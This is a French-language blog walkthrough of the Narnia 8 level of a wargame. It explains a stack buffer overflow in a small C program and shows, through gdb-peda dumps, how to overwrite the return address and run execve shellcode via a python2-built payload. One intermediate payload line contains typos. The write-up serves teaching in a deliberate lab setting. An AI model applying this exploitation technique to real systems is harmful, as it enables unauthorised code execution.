🦁Narnia 8
Nous nous retrouvons pour ce dernier challenge de la série Narnia.
J’ai beaucoup apprécié faire ces challenges, ils m’en ont appris beaucoup sur les Buffer Overflow, le fonctionnement d’une pile, l’assembleur etc.
J’espère que c’est le cas pour vous aussi !
Découverte
#include
#include
#include
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global until i find a fix
// -morla
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}
main, qui ne prend qu’un seul argument.Cet argument est passé à la fonction
func et stocké dans la variable blah. Il est important de noter que la variableblahn’a pas de limite de taille, contrairement àbok, qui ne peut recevoir que 20 caractères.
bok est ensuite entièrement remis à 0 :
memset(bok, '\0', sizeof(bok));
Ensuite, blah est copié complètement dans le tableau bok :
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
Vous avez maintenant l’habitude, cette pratique est très dangereuse puisqu’elle permet d’écrire directement sur la pile et de provoquer un overflow.
Exemple dans peda :
gdb-peda$ set args $(python2 -c 'print("A"*21)')
gdb-peda$ x/16x $esp
0xffffd4d4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd4e4: 0x41414141 0xffffd741 0xffffd4f8 0x08049211
0xffffd4f4: 0xffffd719 0xf7ffd020 0xf7da2519 0x00000002
0xffffd504: 0xffffd5b4 0xffffd5c0 0xffffd520 0xf7fab000
0x41414141) suivi d’une adresse modifiée : 0xffffd741, ce qui prouve bien que le buffer overflow est possible. Exploitation
Commençons par résoudre ce challenge en utilisant peda.
Utilisons un argument afin d’overflow de 1 octet, pour l’instant :
set args $(python2 -c 'print("A"*21)')
test al, al.Il s’agit de la comparaison entre
bok et \0 au sein de la boucle for du programme C (for(i=0; blah[i] != '\0'; i++)).C’est à cet endroit que l’on saura si le buffer overflow a fonctionné :
b *func+92
Passez ensuite les instructions avec la commande ‘c’. On peut voir le buffer qui se remplit petit à petit.
Voici à quoi ressemble peda lorsque nous atteignons les 20 “A” :
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0xf7fab000 -> 0x229dac
ECX: 0x14
EDX: 0x14
ESI: 0xffffd5b4 --> 0xffffd708 ("/narnia/narnia8")
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffd4ec --> 0xffffd4f8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
ESP: 0xffffd4d4 ('A' , "\030\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
EIP: 0x80491e2 (: test al,al)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80491da : mov eax,DWORD PTR [ebp-0x4]
0x80491dd : add eax,edx
0x80491df : movzx eax,BYTE PTR [eax]
=> 0x80491e2 : test al,al
0x80491e4 : jne 0x80491ae
0x80491e6 : lea eax,[ebp-0x18]
0x80491e9 : push eax
0x80491ea : push 0x804a008
[------------------------------------stack-------------------------------------]
0000| 0xffffd4d4 ('A' , "\030\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0004| 0xffffd4d8 ('A' , "\030\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0008| 0xffffd4dc ('A' , "\030\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0012| 0xffffd4e0 ("AAAAAAAA\030\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0016| 0xffffd4e4 ("AAAA\030\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0020| 0xffffd4e8 --> 0xffffd718 ('A' )
0024| 0xffffd4ec --> 0xffffd4f8 --> 0xf7ffd020 -->; 0xf7ffda40 --> 0x0
0028| 0xffffd4f0 --> 0x8049211 (: add esp,0x4)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080491e2 in func ()
gdb-peda$
0xffffd4d4 jusqu’à 0xffffd4e4, la pile a été remplie de A. Ensuite, à l’adresse
0xffffd4e8, nous avons notre pointeur vers notre argument.Que se passe-t-il lorsque nous ajoutons un A supplémentaire ?
[----------------------------------registers-----------------------------------]
EAX: 0x69 ('i')
EBX: 0xf7fab000 --> 0x229dac
ECX: 0x14
EDX: 0x15
ESI: 0xffffd5b4 --> 0xffffd708 ("/narnia/narnia8")
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffd4ec --> 0xffffd4f8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
ESP: 0xffffd4d4 ('A' , "\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
EIP: 0x80491e2 (: test al,al)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80491da : mov eax,DWORD PTR [ebp-0x4]
0x80491dd : add eax,edx
0x80491df : movzx eax,BYTE PTR [eax]
=> 0x80491e2 : test al,al
0x80491e4 : jne 0x80491ae
0x80491e6 : lea eax,[ebp-0x18]
0x80491e9 : push eax
0x80491ea : push 0x804a008
[------------------------------------stack-------------------------------------]
0000| 0xffffd4d4 ('A' , "\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0004| 0xffffd4d8 ('A' , "\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0008| 0xffffd4dc ('A' , "\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0012| 0xffffd4e0 ("AAAAAAAAA\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0016| 0xffffd4e4 ("AAAAA\327\377\377\370\324\377\377\021\222\004\b\030\327\377\377 \320\377\367\031%\332\367\002")
0020| 0xffffd4e8 --> 0xffffd741 ("=/narnia")
0024| 0xffffd4ec --> 0xffffd4f8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
0028| 0xffffd4f0 --> 0x8049211 (: add esp,0x4)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080491e2 in func ()
gdb-peda$
Sur la pile, on voit toujours notre chaine de “A”.
A l’adresse 0xffffd4e8, alors que nous devrions toujours avoir notre argument, le pointeur vers celui-ci a été écrasé, pour pointer vers une autre chaine (“=/narnia”).
Sous cette adresse, en 0xfffd4ec, il y a un autre pointeur, qui est peut-être utilisé pour le for, il ne vaut mieux pas la modifier.
Et enfin, nous avons l’adresse de retour vers la fonction main (0xffffd4f0). Cette adresse va s’avérer très utile puisqu’elle va nous permettre d’exécuter un shellcode .
Construction de l'injection
L’objectif est donc de réussir à écraser l’adresse de retour de main, pour mettre celle de notre shellcode à la place, puis passer notre shellcode, tout ceci, sans provoquer de crash.
Notre injection va ainsi être constituée de :
- 20 “A” qui rempliront le buffer ;
- L’adresse de la chaine de caractères de “A”, pour que l’injection puisse être lue entièrement ;
- L’adresse 0xfffd4d8, remise telle quelle afin de ne pas provoquer de bug ;
- L’adresse de retour de notre shellcode ;
- Notre shellcode, déjà utilisé dans de précédents challenges.
Il est important de lancer le script avec une injection déjà à la bonne taille : en effet, les adresses vont varier en conséquence :
Votre injection va ainsi ressembler à ceci :
$(python2 -c 'print("A"*20 + "\xff\xff\xff\xff" + "\xff\xff\xff\xff" + "\xff\xff\xff\ff" + "")')
Remplaçons maintenant les adresses par de vraies adresses :
Relancer le programme avec l’injection à la bonne longueur, passer les instructions jusqu’à ce que le programme ait lu 20 “A” et visualiser la stack à l’aide de la commande :
x/16xw $esp
[----------------------------------registers-----------------------------------]
EAX: 0xd8
EBX: 0xf7fab000 --> 0x229dac
ECX: 0x14
EDX: 0x14
ESI: 0xffffd574 --> 0xffffd6c8 ("/narnia/narnia8")
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffd4ac --> 0xffffd4b8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
ESP: 0xffffd494 ('A' , "\330\326\377\377\270\324\377\377\021\222\004\b\330\326\377\377 \320\377\367\031%\332\367\002")
EIP: 0x80491e2 (: test al,al)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80491da : mov eax,DWORD PTR [ebp-0x4]
0x80491dd : add eax,edx
0x80491df : movzx eax,BYTE PTR [eax]
=> 0x80491e2 : test al,al
0x80491e4 : jne 0x80491ae
0x80491e6 : lea eax,[ebp-0x18]
0x80491e9 : push eax
0x80491ea : push 0x804a008
[------------------------------------stack-------------------------------------]
0000| 0xffffd494 ('A' , "\330\326\377\377\270\324\377\377\021\222\004\b\330\326\377\377 \320\377\367\031%\332\367\002")
0004| 0xffffd498 ('A' , "\330\326\377\377\270\324\377\377\021\222\004\b\330\326\377\377 \320\377\367\031%\332\367\002")
0008| 0xffffd49c ('A' , "\330\326\377\377\270\324\377\377\021\222\004\b\330\326\377\377 \320\377\367\031%\332\367\002")
0012| 0xffffd4a0 ("AAAAAAAA\330\326\377\377\270\324\377\377\021\222\004\b\330\326\377\377 \320\377\367\031%\332\367\002")
0016| 0xffffd4a4 ("AAAA\330\326\377\377\270\324\377\377\021\222\004\b\330\326\377\377 \320\377\367\031%\332\367\002")
0020| 0xffffd4a8 --> 0xffffd6d8 ('A' , "\330\326\377\377\270\324\377\377\264\324\377\377\061\300\061\333\061\311\061\377\260\311̀f\211\303f\211\301\061\300\260F̀1\300Ph//shh/bin\211\343\211\301\211°\v̀1\300\260\001̀")
0024| 0xffffd4ac --> 0xffffd4b8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
0028| 0xffffd4b0 --> 0x8049211 (: add esp,0x4)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080491e2 in func ()
gdb-peda$ x/16xw $esp
0xffffd494: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd4a4: 0x41414141 0xffffd6d8 0xffffd4b8 0x08049211
0xffffd4b4: 0xffffd6d8 0xf7ffd020 0xf7da2519 0x00000002
0xffffd4c4: 0xffffd574 0xffffd580 0xffffd4e0 0xf7fab000
gdb-peda$
Sur la pile, on voit bien 20 “A” (0x41) puis une adresse (0xfffd6d8 dans ce cas). Il s’agit de l’adresse de la chaine de “A”.
L’adresse suivante (0xffffd4b8) est une adresse que l’on peut retranscrire telle quelle.
Voici ce que donne la nouvelle injection :
$(python2 -c print("\xd8\xd6\xff\xff" + "\b8\d4\xff\xff" + "\xff\xff\xff\xff" + "")')
On sait que le shellcode est empilé directement à la suite de
0xffffd4b8.Pour cela, il suffit de retirer 4 à l’adresse précédente, pour obtenir l’adresse suivante :
0xffffd4b8 – 4 = 0xffffd4d4.Voici donc à quoi va ressembler l’injection finale pour ce cas-là :
$(python2 -c 'print("A"*20 + "\xd8\xd6\xff\xff" + "\xb8\xd4\xff\xff" + "\xb4\xd4\xff\xff" + "shellcode")')
Je précise toujours “pour ce cas-là” car évidemment ces adresses peuvent varier, en fonction de plusieurs paramètres, notamment la longueur de votre shellcode.Une fois toutes les valeurs remplacées, en exécutant le script en entier, vous devriez voir s’exécuter un shell au travers de peda.
A vous de trouver les valeurs pour votre cas !
Ce shell n’est évidemment pas élevé en privilèges, mais cela permet de vérifier que votre injection est correcte.
Injecter sans peda
Récupérez votre injection et exécutez le programme avec.
Que se-passe-t-il ? Normalement, cela ne fonctionne pas 🙃.
Vous n’avez rien fait de mal, seulement, les adresses en dehors de peda ne sont pas les mêmes.
Il va falloir les remplacer.
Visualisez la pile à l’aide de la commande :
./narnia8 | xxd
La commande xxd permet de créer un hexdump du fichier, souvent dans le but de le reverse. Dans ce cas-là, cela nous permet de visualiser une partie de la pile :
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 d82f ffff d8d4 ffff 1192 0408 AAAA./..........
00000020: f6d6 ffff 20d0 fff7 1925 daf7 020a .... ....%....
C’est désormais à vous de jouer pour trouver les bonnes valeurs !
Conclusion
Voilà pour le dernier article de la série Narnia !
J’espère que cela vous a plu et que vous avez pris autant de plaisir que moi à réaliser ces challenges.
Recent Comments